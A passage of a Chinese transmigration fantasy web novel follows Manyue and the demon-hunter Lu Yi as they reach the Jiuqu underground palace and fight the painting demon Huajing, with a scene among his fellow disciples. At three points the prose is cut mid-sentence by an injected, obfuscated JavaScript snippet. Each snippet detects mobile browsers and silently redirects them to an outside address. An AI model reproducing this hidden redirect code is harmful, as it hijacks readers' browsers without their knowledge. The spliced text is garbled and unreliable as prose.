陆乙言笑晏晏:“没看出来,原来你才是最狠的一个。” 满月知道他误会了自己,但也没解释,总不能说他在她心中就是个杀人如麻心狠手辣的反.社会,就这样轻易放过铁牛他们,不是他的作风。 陆乙还是猜到了她的想法,他轻笑着,眼中却满是不以为意的淡漠:“无名之辈,不值得我动手。” 满月听得嘴角微抽。 合着还是个中二病啊! 她心下腹诽,陆乙却好似洞穿她心声,漫不经意扫她一眼,似笑非笑:“能让我亲手炼化,不是谁都有资格的。” 满月皮笑肉不笑:“……那我还得谢谢你如此高看我了。” 说完她默默错开些距离,只想离这个中二病远一点。 虽然但是,她的心情还是有些沉重。 开弓没有回头路,这货就是为了让自己彻底上他这条贼船,才故意让她在铁牛面前露面。 三危山她是彻底回不去了。 “不过早知道你弱,没想到这么弱。”陆乙似是没看出她眼中的怨念,嘲笑她道,“这种货色都能欺负你?” 满月知道他肯定猜出铁牛口中的废物指的就是自己。 她踢了踢脚边的石子,不以为然:“这个世界上,也不是所有人天生就像你一样强的。” 陆乙绝杀:“可我看你后天也不怎么样。” 满月:“……” ……杀了这个毒夫。 可这话也只能在脑子里想想,在绝对的实力碾压面前,满月一向很清醒。 满月耳观鼻鼻观心,只当没听到。 她又踢了下石子,装作漫不经心问道:“你现在既然有了度母阴司的线索,留着我也没什么用,不能就此放了我吗?” 陆乙像听到什么有趣的笑话,他侧了侧头,笑着乜她:“你在同我谈要求?” 满月是难得据理力争:“你看我这么废物,留着也只会给你添乱。你还不如好人做到底,放我自生自灭好了。” 陆乙略一挑眉,笑意不减,明明一张人畜无害路人脸,偏偏说出来的话却句句戳人肺管子:“谁说我是好人了?” 满月:“……” 很有自知之明。 “我给过你机会。”陆乙再次揭她伤疤,“是你自己不走的,这么快就忘了?” 满月简直想找个针把这人的嘴封起来:“明明是你……” 陆乙笑眯眯:“是我什么?” 满月泄了气,怏怏踢着石子,不说话了。 “况且就算我放了你,你还能在三危山活得下来?”陆乙笑着,字字诛心,“我不杀你,多的是想杀你的。” 满月哪里会不知道,不过是想自欺欺人罢了。 “可是你带着我又能有什么好处。”满月嘟囔一句,心下略过千万种可能。 她总觉得陆乙留她没这么简单。 陆乙半真半假:“你都说了我肯定打不过度母阴司,既然去送死,自然要找人陪葬。木头妖就不错,妖身还能当棺材用。” 满月难以理解他的脑回路:“你……” 陆乙正要开口,忽的停了下来。 他面上的笑容隐去,低声道:“有人。” 满月忙住了嘴。 他们将才从林中一路走来,半只妖都没有撞见。满月猜测大概是陆乙放出的那些纸人起了作用。 她悄悄探出头,还没看到什么,就被陆乙反手塞了回去。 四周十分安静,陆乙捂着满月的嘴将她挟持在怀中,手上的力道不轻不重。 满月知道这是不让她出声的意思。 就这样等了一阵,外面的妖走后,陆乙才放开她。 陆乙瞧了眼外面,问起她正事:“你可知度母阴司受伤的事?” 满月摇摇头,发髻上的白绒球也跟着晃了晃:“我不知道。” 满月在三危山存在感一向不算高,再加上穿书的原因,她消极怠工,鲜少与同事打交道,这种隐秘之事,根本无从得知。 陆乙并不意外,他的目光从满月身上移开,瞧向不远处。 铁牛所说的三方大阵,并非是将整个三危山架起的虚空阵,而是护山大阵。 “这个地方你来过吗?”陆乙垂眸又问。 这一次满月竟点了点头。 陆乙反而新奇:“那你知道这是什么地方?” 满月又点点头。 陆乙注视着她的眼睛,后者眸中澄净,并无犹疑。 “我知道一些旁人不知道的事。”满月一眨不眨地看着陆乙,心思千回百转,面上却不露分毫,“你若想听,可不可以先答应我一个条件?” 陆乙笑眼弯弯。 都有胆子和他讲条件了。 “什么条件?” 满月盯着陆乙的眼睛:“我在三危山有两位亲人,若是……你真的能杀了度母阴司,三危山必遭围剿,到时你可否网开一面,放她们一条生路?” 陆乙很强。 到底有多强其实满月也不确定,但至少是个机会。 摆脱炮灰命运的机会——前提是她有命活着离开三危山。 陆乙稍有些讶然:“就这个?” 满月目光坚定:“就这个。” 陆乙知道满月怕他,还以为她会趁机保全自己,没想到是他失算了。 其实就算满月不提,陆乙对度母阴司手下的这群妖怪也没什么多余的想法。非他仁慈,只因为他天性太过傲慢,向来对远逊于他的弱者不感兴趣。 但满月这么说,倒是引起些他的好奇。 “亲人?”陆乙道,“你爹娘?” 满月摇了摇头,绝口不肯多提。 毕竟他能不能打得过度母阴司还是两说,满月可不想将蔓娘子和小肥啾提前暴.露出来。 好在陆乙也没什么兴趣再追问,他略一颔首:“我答应。你讲吧。” 满月却没继续讲,仍旧看着他,黑漆漆的一双眼,眼底澄澈分明:“口说无凭,我怎知到时你会不会翻脸不认人。” 陆乙觉得好笑,却也懒怠多讲,他从袖子里取出一样东西,抛给了满月。 满月接过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995412|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发现是一道叠着的符纸,上面用朱砂画符,她不是道士,看不懂。 满月眨眨眼:“这是什么?” “契言符。”陆乙淡道,“以我灵力入符,你滴血成契,到时拿此符见我,我自会答应你一个心愿,如若违誓,当遭反噬。” 这玩意儿满月在原著中曾见过,便也不疑有他。 她将符纸叠好收起,这才缓缓道:“这里是九曲阵,大妖们平日里不许我们私自靠近,只每月旬日来打扫一次。” 陆乙嗯了一声,意兴阑珊:“就这些?” 当然不止。 满月拨弄了下腕上的玉珠,继续道:“这大阵下面,是九曲地宫。若是铁牛所言不虚,我想阴司大人……大概就藏身此处。” 听到九曲地宫四个字,陆乙玩世不恭的笑容终于是稍稍收敛。他原本对她要说的话并不抱期待,之所以肯听,完全是觉得有趣。 不想这确实是旁人所不知之事。 陆乙笑容转淡,盯着满月的脸,看不出他心思如何:“还有吗?” 在这气氛之下,满月莫名也跟着紧张起来,她不露声色,佯装无知地摇摇头。 陆乙微微眯了下眼,虽还笑着,笑意却不达眼底:“阵法下藏有地宫的事,你从何而知?” 当然是从小说里得知。 话不能这么讲,满月一派天真:“我无意中听到的。” “哦?”陆乙伸手掐住她还略带些婴儿肥的脸颊,笑得很是温柔,“那你先前所说不知度母阴司在何处,看来是在骗我?” 满月一怔,半天才反应过来,暗道这人心思真是晦暗复杂,九曲地宫都没他弯弯绕绕。 心里疯狂吐槽,面上满月还是严肃着一张小脸,一本正经地否认:“我没骗你,我只知道下面是地宫,如何能猜到是阴司大人的藏身之地。” 而且她可是三危山的妖,就算骗他也是再正常不过的事好吧。 陆乙松开手,目光重又投向前方。翠林掩映之间,只看到楼台高筑,云梯环绕,分外夺目。 阵法建得如此显眼已是稀奇,偏偏这样重要的地方竟无一人看守。 “你可知地宫如何进?” 满月满脸真诚:“不知。” 知道也不能讲。 这中二病如此多疑,再说就该引来猜忌了。 陆乙从怀里又取出一只刚才没放走的纸人,同先前一样,手指一拂,那纸人宛若有了生命,歪歪扭扭站了起来。 尽管已是第二次看,满月还是啧啧称奇。 纸人一开始还不能控制自己的身体,七扭八拐的,看起来十分不协调,走着走着,才慢慢正常起来,不看混沌一片面孔,单看背影,一时之间分辨不出真假。 满月看得津津有味,她见纸人向着九曲阵走去,忽然后知后觉反应过来,猛然回头瞧向陆乙:“你该不会现在就要下地宫吧。” 陆乙略一挑眉,不以为意地反问她:“要不然呢?” 满月:“……” 疯了。 “……这么大的事,你要不要回去做做准备再来?”满月万没想到自己看中的【机会】这么不靠谱,她千方百计想要说服他,“若阴司大人真的藏身地宫,一时半会也跑不掉的,你孤身一人,有什么都还不清楚,这样深入敌穴还是不好吧?要不然还是先找人商量一下?” 她原以为陆乙寻到了有关度母阴司的线索就该暂时打道回府,不成想这人真是个疯子,竟然真的打算一条道走到黑。 两人相处这段时间,陆乙还从没见满月一口气讲这么多话,可见是真的急了。 他笑起来,回眸看她:“怕死?” 满月诚恳地点了点头:“怕,很怕,相当怕。” 没想到陆乙笑得更愉快了。 “那不巧了。”他道,“我不怕。” 9. 009 满月:“……” 狗男人。 满月的心里一时之间只剩下这三个字在反复刷屏。 她上辈子是杀过人放过火吗? 究竟为什么这辈子会遇见这么疯的一个人啊! 陆乙微垂着眸,不动声色观察着她的反应:“你这么怕,难道是知道地宫下面是什么?” 满月岂会不知。 九曲地宫可谓是原著里度母阴司篇的重头戏,凝聚了百分之八十的看点。 在《斩妖》里,度母阴司不算是最凶残的大妖,但论狡诈,绝对排得上号。他生性多疑,即便是最亲近的下属也保留七分,可以说不相信任何人。他很少以真面目示人,九曲地宫是他耗尽半生心血为自己营造的最佳堡垒,其间危险重重,凡是擅闯者俱是走不出来,连初出茅庐的主角团也险些在此遇难。 最重要的是,里面还豢养着阴煞。 那是度母阴司用死气喂养的邪异之物,行如鬼魅,诡谲莫测,凡是遇上,无论人妖,俱是会被吸干血肉,变成一张空皮囊。 这是满月最不能接受的死法。 满月抱住了身边的树干,心意已决:“我不知道……反正我不要去地宫。” 陆乙笑得很是和善:“当真不去?” 满月回答得相当坚决:“不去。” 陆乙哦了一声,似乎并不打算为难她。 他瞥了眼前去探路的纸人,才又慢悠悠瞧向满月身后:“说起来,好像有个碍事的家伙自进山后就一直跟着你。” 他话题转得太快,满月一时没反应过来,甚是迷茫:“啊?” 陆乙嘴角微扬,手一抬,一道金光登时袭出。满月以为他终于要动手,下意识闭上了眼。 并没有想象中的疼痛传来。 等了几秒,见无事发生,满月才悄悄睁开眼,奇怪地看向始作俑者。 这一看,险些令她心脏骤停。 蓝衣少年唇边噙着抹似是而非的笑,正若有所思把玩着手上一只圆滚滚的小黄雀。 “小肥……”啾字未出口,满月就急急止了声。 陆乙瞧她一眼,笑意不减:“看来这就是你说的亲人?” 满月否认也不是承认也不是,她紧张地注视着小肥啾,生怕这人一个“不小心”就把它给捏死。 倒是小肥啾大概明白自己做错了事,垂着小脑袋不敢看她。 不用想满月也知道发生了什么。 小肥啾和她这个被蔓娘子罩着的有编制小妖还是不同,三危山上除她之外,没有任何相熟。她昨日失踪后,小肥啾就一直担心,约莫是找了一夜。今早她一进山,小肥啾很快寻到了她的踪迹,可碍于陆乙在,它不敢上前来,只得暗暗跟在后面。 满月同时感到心惊。若真的像陆乙讲的那样,小肥啾自她进山后就一直跟着她,陆乙定然一早就发现端倪,可他却从头到尾都没有流露半分,等她自曝其短后方才出手。 狗男人狗男人狗男人。 满月暗暗咬碎了牙。 “你……有话好好说。”满月揪着一颗心。小肥啾身上缠着金线,一直延伸到陆乙指尖,她认出那是昨天绑她用的缚妖索,“它还是个连人身都没有的小山雀,经受不住这些的。” 陆乙却不为所动,只似笑非笑瞧着她。 满月现在是一万个后悔。她也不知道好端端自己为什么要跟陆乙谈条件。要不是她先动了不该动的心思,陆乙未必知道小肥啾对她的重要性。 “……下地宫是吧?”满月明白陆乙的意思,她深吸一口气,双手举起来,作出投降的动作,“我下。你放它走。” 满月答应得这么爽快,反而让陆乙微微讶然。 他也没想到这么轻易就达成目的。 原来这小滑头也会讲感情。 陆乙指尖一点,小肥啾身上的金线顿时散去。 小肥啾受了惊,扑棱着翅膀,逃也似的扑向满月怀中。 满月摸摸小肥啾的头,小肥啾蹭了蹭她的指腹,啾啾叫了几声,有气无力。 满月听出它叫声里的虚弱,拿出昨天的竹筒,倒出灵谷喂给它。 陆乙在旁看着这一人一鸟的互动,倒是新奇:“你说的小肥啾原来就是它。” 满月没理他。 她一面将灵谷放在手心,方便小肥啾啄食,一面抬起头,没什么表情地看向陆乙:“我跟你下地宫,你让它走,它不会告状的。” 陆乙本来也没想找一只鸟的麻烦。 他懒散地靠在树干上,侧头瞧了眼不远处的锦楼:“差不多了,走吧。” 满月拍掉手上的碎屑,低声嘱咐了小肥啾两句,放它离开。 可是小肥啾却没走,它在满月身边盘旋了两圈,最后又落回她的肩膀。 满月道:“你别怕,我没事,你先回去找蔓娘子,等这里的事情办完,我就去找你。” 小肥啾摇摇头:“啾啾啾。” 昨日满月就是让它先走,结果之后就不见了踪影。 满月好说歹说,偏偏这孩子死心眼,不肯离开。眼见着陆乙的身影越来越远,满月怕他误会自己要逃,只得先带着小肥啾追了上去。 若说满月先前还只是揣测,现在十有八九是确定了。陆乙这人,心思莫测,不是个会做无用功的人,他费尽心思留她在身边,很大概率是有所图谋。 至于图谋什么,满月暂且还没想明白。 她只是一穷二白还没什么本事的小妖怪,长得也不够漂亮,唯一有点特殊的地方是她知道自己是一本书里的炮灰,可也仅此而已。 反倒是陆乙简直太神秘了,他不仅知道虚空阵,还懂得利用她进入真正的三危山,九曲地宫的事虽然是她先透露,可看他的表情就知道他对此并非一无所知。 难不成他也是个穿书者? 还是开了金手指能够夺走主角光环的那种。 满月跟着陆乙来到了九曲阵前。 这里虽是布阵之地,表面上看起来与凡间寻常大户人家的宅邸没什么不同,除了更为华丽。 不,准确来说是穷奢极欲。 朱檐碧瓦,层楼叠榭,高高低低的琼楼绵延若海,足可称为富丽堂皇。 不过一想到这些奢侈之景全是靠剥削他们底下这些小妖怪得来的,满月就怎么看也看不顺眼。 “你知道地宫入口在哪吗?”满月仰头瞧了眼正对面的两层绣楼,问道。 陆乙没说话,只盯着二层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995413|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的窗棂看。 满月也顺着他的视线看去,但见窗子洞开,有白色绸缎从中飘出,随风而动。 满月蓦然想起些小妖怪里真真假假的传闻,默默后退一步。 陆乙察觉到她的小动作,回眸看她一眼:“你想到了什么?” 满月本来不想说的,但又觉得这人不达目的不会善罢甘休,只得道:“我以前听他们说,混元宫里……闹鬼。” 闹鬼的说法就跟都市传说一样,谁都能有模有样提一嘴,真正见过的却没一个。 无他,混元宫乃是九曲阵地,自来不允许随意靠近。 像什么深夜看到白衣女子在梳妆镜前梳头发,一转头发现还是一脸的头发;还有歪脖子树下的枯井旁,总有一个女子在找东西,千万不要问她在找什么,要不然就会被她扔进井里永世不得超生,等等……大多是道听途说,被好事者添油加醋才愈演愈烈。 可看过原著的满月却知道,这些说法虽然有被夸大,但也有一些真实的部分。 度母阴司豢养的阴煞最爱角色扮演,往往趁其不备拖人下水,千变万化防不胜防。 陆乙笑了:“你是妖,难不成还怕鬼?” 满月不乐意了:“妖是妖,鬼是鬼,我凭什么不能怕。” 陆乙笑着摇了下头,不管她,先一步进了那栋绣楼。 满月略一迟疑,不情不愿地也跟着进去。 绣楼的窗户蒙着,没有点灯,从光明的室外冷不丁进来,眼前一黑,暗得什么都看不到。 缓了片刻,视线才恢复正常,里面的陈设与凡间一应没什么区别,入户摆着两把交椅,案上摆着香炉盆景之物,正对面悬挂着一张画,画上画着一位看不见面容的女子,姿态慵懒地倚在榻上,手执团扇,背对着观者,望着面前的花窗。 陆乙最先注意到那张画,他微眯起眼睛,正要细细打量,一双纤细的手伸过来,轻轻覆上了他的眼。 陆乙微微一怔。 “别去看。”满月的声音在他耳边响起。她小声警告他,“这是障眼法。” 如果没记错,原著主角团就是在这里吃的亏。她没那么血厚,可不想步后尘。 陆乙眨了下眼,睫毛挠着满月的手心微痒。 他笑起来:“你觉得我会怕?” 满月:“……” 这人装起来还没完了是吧。 她正待讲话,陆乙却抬手,将指尖夹着的符咒向美人图掷去。 符纸分毫不差地定在画上。 满月吓了一跳,她收回手,但见一道火焰自符中而起,画上的景象也陡然一变。 先前背对着他们的女子回过脸来,可并不是想象中的美人面,反而青面獠牙,恐怖不可名状。 作死啊! 满月抱紧小肥啾,急忙躲去陆乙身后。 画中妖狰狞着面孔从画中脱身,与此同时火焰恰好将整张画燃烧殆尽,只余细灰消散。 画中妖站定,身上红衣蹁跹,如血一般艳丽,原先的狰狞面孔已被拂去,取而代之的是一张美艳不可方物的面孔。 画境袖手侧立,盯着陆乙,阴恻恻一笑:“原来你就是那个溜进阵法的小贼,亏我好找,倒是自投罗网来了。” 10. 010 此时此刻,满月无比绝望。 画境是这一篇章武力值仅次于度母阴司的大妖,三危山四大护法之一,平日里分身于画中,替度母阴司看守地宫。她身法诡异,手段凶残,死在她手中的除妖师道士不计其数,就连原著男主也没落得好,几次被压至下风。 除此之外,她手里还藏着一张重要的底牌。那样东西就算满月看过原著提前得知,也不认为自己可以凭此逃过一劫。 ……她是不是已经可以躺平等死了? 妖气自画中蔓延,窗外尚晴的天气陡然一转阴沉下来,黑云遮蔽四周,乌压压一片,蓄势待发一场大雨。 绣楼里妖风自起。 满月被吹得险些站不住,身前的蓝衣少年却是四平八稳,衣袖猎猎而动,独衬得他身形修长挺立。 “还不错嘛。”陆乙笑着,不知是不是错觉,满月总觉得他好似比先前兴奋一点,像是终于能提起些兴致,“你们三危山总算来个能打的。” 真是作死小能手,这种时候还要挑衅对面。 腹诽归腹诽,为了不被吹走,满月还是抓住了他的衣袖。 画境听他口出狂言,冷笑一声,当即长袖一挥,妖风加大力度,席卷而来。 陆乙反手将一张符贴在满月身上,看也不看她,丢下句“躲远点”,就迎战向前。 神仙打架,满月是一刻也不愿多留,抱着小肥啾就躲到角落里。 待确认波及不到,她才悄悄探出半个头观察局势。 陆乙双手合一结出法印,金色真言如飞剑一般盘旋在他周身,法印变换间,真言如链条一样击向画境。 画境闪身避开,她手中火焰凝聚,裹挟着磅礴妖力荡开,金色真言刚一触及,就被震为碎片。万千碎片震荡回去,陆乙身上金光一现,虽然光屏将碎片阻挡在外,却还是有一两片漏网之鱼闯入,划破了他的脸颊。 空中有血腥味蔓延开来,不轻不重。 陆乙脸颊上现出细如丝线的伤口,鲜血渗出,与他白皙的肤色对比强烈。 满月一颗心悬了起来,七上八下。 果然陆乙之前看起来强,还是因为他遇到的妖太弱了,对上真正的大妖,显然要稍逊一筹。 陆乙现在好歹算她半个盟友,满月有利用他的私心,还是希望他能更强一些。 她提心吊胆,可陆乙却没有丝毫预想中的慌乱,他看着面前的画境,脸上的笑容竟然更盛,眸中有什么东西似被点燃,让他整个人都兴奋起来。 如果没看错,那是属于杀戮的欲望。 他轻轻拂过面上的伤口,眉眼弯弯地笑起来:“你好像很强。” 反倒是画境怔愣一瞬,没想到自以为必杀的一击竟然只造成这么点伤害。 眼里的惊讶很快被收敛起,画境眸中冰冷一片,同样毫不客气:“死的时候你再这么说也不迟。” 言毕她不给陆乙喘息的机会,漫天火焰立现,手一抬,汹涌火焰便凝为火蛇猛然窜了出去。 与此同时火光映天,火焰如流星一般齐齐降下,红色术法交织成天罗地网,令对方再无可逃之处。 画境是动了杀心,攻势如此密集迅猛。 可陆乙却一一躲过。 他身形快到有些看不清,形如鬼魅一般,在火海之间穿梭如故,竟是游刃有余。 画境讶然,愈发加快了手上的动作。 陆乙却仿佛比她更快,须臾之间他穿过重重火光,挥手便祭出一张金色符箓。 画境的反应也很迅速,她侧身避开,火光瞬间攀上符箓,金光与之相冲,爆发出激烈声响。 轰隆一声。 满月被这声巨响吓了一跳,耳朵短暂地听不到声音,片刻之后才重新恢复过来。 屋外下雨了。 原来刚才那一声响动不光来自屋内,也来自屋外。密布的乌云不知何时也终于累积到一定程度,大雨倾盆而下,其势之猛,仿佛要淹没一切。 绣楼与屋外相隔绝,浑然仿似两个世界。 画境与陆乙谁也不受外面的影响,红色妖术与金色法诀伴着屋外的电闪雷鸣,打得有来有回,一时之间竟分不清谁是谁。 满月修为不够,直看得眼花缭乱。 她眼冒金星,问小肥啾:“你能分得清谁是谁吗?” 小肥啾摇摇头,将小脑袋埋到满月怀中,身体微微发抖。 这样斗法的场面哪是他们这种底层小妖曾经见识过的。 满月原本都有些不敢看下去了,见此情形才生出一丝侥幸。 万一打得过呢? 正当时一道火焰擦着桌边打过来,满月眼疾手快地缩回去,术法碰到前面的桌椅,桌椅顷刻间化为齑粉。 不远处的画境退居一隅,她已然不再是风华绝代的大美人,眼睛变为红色竖瞳,额上朱红印记显出,这是现了妖相。 表面上看,她与陆乙谁也没能占到便宜,但画境清楚,她丢出去的术法没有一击挨到小除妖师的边,反倒是对方的法诀将她困在原地动弹不得,举步维艰。 不能再拖了。 避过一击,画境终于找准时机,祭出了自己的本命妖器。 画轴升入半空徐徐展开,现出其间的图像。万妖肆立,业火焚烧,妖物狰狞可怖,神态画得栩栩如生,让人见之就心生惧意。 满月的心沉了下去。 陆乙大约没见过这东西,看过原著的满月却清楚这是什么。 这正是画境藏了一手的底牌,度母阴司赏赐给她的万妖图。 画境驱动术法,画中的妖物霎时活了过来,争先恐后从画卷往外爬,源源不断来到现实。 绣楼似乎被无限放大,数不清的妖物进入其间,成为这里的主场。那些妖物身上死气冲天,与阴煞可谓一脉相承。 身上散发着黑色死气的妖物四面八方涌来,如同潮水一样络绎不绝,眼看就要将陆乙吞没。 金字真言飞速运转起来,在陆乙身前形成一道坚不可摧的金色屏障,屏障立地炸开,妖物们被炸得血肉模糊,登时尸山血海,血腥一片。 满月看着这惊险的一幕,心砰砰直跳。 还好,还好。 陆乙还真有两把刷子,满月记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15995414|178149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原著里画境祭出万妖图,主角险些被妖物活埋。 满月多了几分信心,她知道这种时候自己不能再坐以待毙下去。今日画境与陆乙之间势必会分出个胜负,赢的是陆乙,她和小肥啾或许还有活下去的机会,可赢的是画境,只怕她们今天都得跟绣楼一起陪葬。 满月不再袖手旁观,她护好了怀中的小肥啾,冲着被层出不穷妖物包围的陆乙大喊:“万妖图的妖是杀不完的!突破口在画境身上!” 爆炸声不断,照理说满月的声音早该被淹没,但或许是她身上被他贴的符纸起了作用。陆乙转头看向她。 这一看满月才发现不知何时,陆乙的黑眸竟变为了金瞳,他白皙的脸上溅有血迹,不知道是他的还是那些妖物的,眉眼分明还是从前的眉眼,却莫名有种诡谲的艳丽感,如同妖孽,有种惊心动魄的魅惑,仿佛是用鲜血和杀戮浇灌而成,与先前的路人感截然不同。 可是画境的身影已然消失不见。 满月接着喊:“画里!她在画里!” 绣楼墙壁上布满了大大小小的画卷,她正藏身其中之一。 满月的提示为陆乙省去了不少时间,他不再顾着面前怎么杀也杀不完的妖物,直接结出法印,金字真言向着四面打去,墙上那些画登时四分五裂。 画轴碎裂的刹那,巨大的冲击让满月立不住脚,即便有陆乙给的符咒护身,她还是被重重摔在墙壁上,眼前一黑,差点晕死过去。 没了这些画藏身,画境逼不得已现了出来。红色衣裙迎风而动,她在旁听得清楚,虽然不知道为什么这个小妖怪知道这么多,却足以让她起了杀意。 如果不是她,这小除妖师一时半会难以发觉她的藏身之处,万妖图妖力不绝,足以将他耗死在此处。 功亏一篑。 画境身形快如闪电,转瞬间就到了满月面前,她指甲陡然长了两寸,鲜红的蔻丹像血一样,红得刺目,抬手就要往满月的脖颈刺去。 满月刚才被妖气波及,受了内伤,何况她与画境实力悬殊,根本无处可躲。 她护住了小肥啾,心里已是不抱任何希望。 必死已成定局,除非有奇迹发生。 不过以她自小被弃、妖脉断绝、外加原著炮灰身份的诸多倒霉经历看来,应该不太有可能。 这辈子横竖就这样了,反正都是炮灰的命,死谁手里不是死。 满月是死猪不怕开水烫,脑子里走马灯似的涌出无数想法,可杀招迟迟没有如预想中落下。 时间仿佛暂停在了这一瞬。 满月感到奇怪,她迟疑着抬起眸,待看清眼前的景象后,怔住了。 这一次奇迹确实发生了。 玄冰以惊人之势,在她身前凝结成一道屏障,金字真言环绕在画境腕上,令她动弹不得,血红蔻丹映着森然黑气,离满月脖颈仅仅分毫之距。 “真不巧。” 金色真言盘旋着萦绕在陆乙周身,头一次,满月在他脸上没有看到任何笑容,他居高临下地望着下面的画境,金瞳淡漠而不带丝毫感情。 “抓到你了。”他道。 11. 011 轰隆一声。 天边降下一道巨大的惊雷。 身着蓝色衣衫的少年站在窗边,看着屋外忽然下起的瓢泼大雨,好看的眉轻轻蹙起。他半掩上窗,转身看向在房中静坐的白袍道人:“师父,这雨好像有点不对劲。” 白发白髯的白袍道人睁开眼,他透过半合的窗看向外面,问的却是不相干的话题:“宴白呢?” 少年想了想,回答:“从昨日下午就不曾见过宴白师兄了。” 白袍道人掐指算了算,目光精准无比地投向了东南方。 震卦。 “东南方位可是三危山?” 少年点头:“正是。” “他入山了。”白袍道人面色平静,像是一点也不意外对方的举动。 少年一愣。虽然早知道他师兄叛经离道,行事多爱剑走偏锋,但如此出格还是令人意想不到。 此番出发前,师父行藏道人曾提醒过,三危山有位连他也摸不清底细的大妖坐镇,尤其是宴白师兄,师父说他命有一劫,不知好坏,但应在此处。 可宴白师兄又岂会在意,他一向天不怕地不怕,不仅来了春阳镇,还抢先一步在他们所有人之前独自上了山。 少年忧虑重重。 行藏道人却神色如常:“他暂且没有性命之忧。南楼,你和陈仓去接应他一下。三危山阵法已破,小心为上。” 程南楼应了声,恭步退出房间。 屋外守着个同样身着蓝色衣衫的小道童,身形略胖一些,正往嘴里偷塞不知从哪里得来的糖人,听到门扉开启,他急得一口吞下,结果卡在嗓子眼,上不去下不来。 眼见着自家小师弟面庞涨红就快被噎死,程南楼无奈,伸手在他咽喉处轻轻一点,糖人顺下去,小师弟的脸色才正常起来。 小道童咳嗽几下,颇为不好意思:“多谢南楼师兄。” 言毕程南楼还没讲话,小道童眼睛骨碌一转,想到什么,急急看向他:“师兄千万别和陈仓师姐说我偷吃糖人的事,要不然她又该说我牙齿烂光光了。” 程南楼摸摸小道童的头:“你也是该少吃点,免得又牙疼。” 小道童鼓了鼓腮帮子:“不会疼的!而且,而且我也只吃了一串。”说着他没什么底气地用脚将地上没来得及收起的糖纸踢到一旁。 这样的小动作又岂能瞒过程南楼。程南楼摇摇头,轻轻捏了下小道童肉嘟嘟的脸颊,就准备离开。 小道童快走几步追上他,好奇问道:“师兄要去哪儿?” 程南楼如实回答:“我和你陈仓师姐要去三危山上一趟。” 小道童闻言眼睛一亮,来了精神:“师兄是要去除妖吗?可不可以带上我?” 小道童年岁小,入门没几年,自来跟在行藏道人身边修习,这还是第一次下山历练,对一切未知充满了新奇。 然而他素来脾气好求无不应的南楼师兄,这一次却想都没想就拒绝了他:“不可。三危山大妖未除,太过凶险,你还是留在师父身边为妥。” 小道童小脸一垮,哭兮兮扯着程南楼的衣袖撒娇:“我也想去看一看嘛。” 程南楼只得又道:“况且我们此次去,是为了接应你宴白师兄。” 听到宴白师兄四个字,小道童迅速收敛了哭腔,变脸堪称翻书,说话甚至磕巴了下:“那,那算了。” 在玄都观,陆宴白的名字向来有夜止婴啼的作用。倒不是因为他脾气差,相反在小道童的印象里,他永远是一副笑眯眯人畜无害的样子。 但恰恰是这样才最可怕。 道童年纪小,玩性大,从前初来乍到,时常调皮捣蛋,上房揭瓦,其他师兄师姐念着他是老幺多让着他,纵然有责罚也大都点到即止。只有陆宴白一点不惯着。小道童还记得有次自己抓到一条花蛇,拿它去吓人,结果被宴白师兄撞到。宴白师兄笑着将花蛇盘在他脖子上,施了个伴身咒,除了师父谁也解不开。小道童硬是跟那条花蛇同食共寝了整整三日,从此他落下了心理阴影,不敢再随意淘气,一看到陆宴白就退避三舍,唯恐避之不及。 小道童一溜烟跑了回去。 同一时间,九曲地宫中。 满月艰难地从地上爬起,头顶巨石间的裂缝早已愈合,四周不见天光。 她被扬尘呛得咳嗽几声,缓过神之后打量起周围,发现身处于一条暗道之中。 满月终于回想起先前发生的事。 当时在绣楼,眼见着陆乙控制住了画境,她原以为会有个了解,不想陆乙正要动手,地面却剧烈地晃动起来,紧接着下一刻,大地就裂开了。 地裂得突然,她毫无防备,伴着碎裂的砂石坠入缝隙。千钧一发之际,陆乙却向她掷来了缚妖索,似乎是想救她。可惜陆乙刚要将她拽上来,反应过来的画境就驱动万妖图的妖物反扑,陆乙和她一道坠了下去。 即将触底前,满月依稀记得陆乙好像在她身上贴了张符,她才没有直接摔死。 想起那刹那之间发生的事,满月心情很是复杂。 她不知道陆乙为什么要冒着风险救自己,尽管总感觉他动机不纯,但救了就是救了,她总归欠他一条命。 虽然害她陷入如此险境的人也正是他! 满月一想起自己不得已欠下的人情债就心烦。不过她暂时没有多少心思去考虑这些,眼下最重要的事,是赶快找到小肥啾和陆乙。 满月用剩余不多的妖力燃起一道蓝色火焰,光线黯淡,勉勉强强照见四周。 “小肥啾!”满月看到离自己不远处的小肥啾,忙扑了过去,她颤抖着将小肥啾捧在掌心,确认小肥啾还活着,一颗心才落了地。 满月渡了些妖力给小肥啾,随后开始找陆乙。 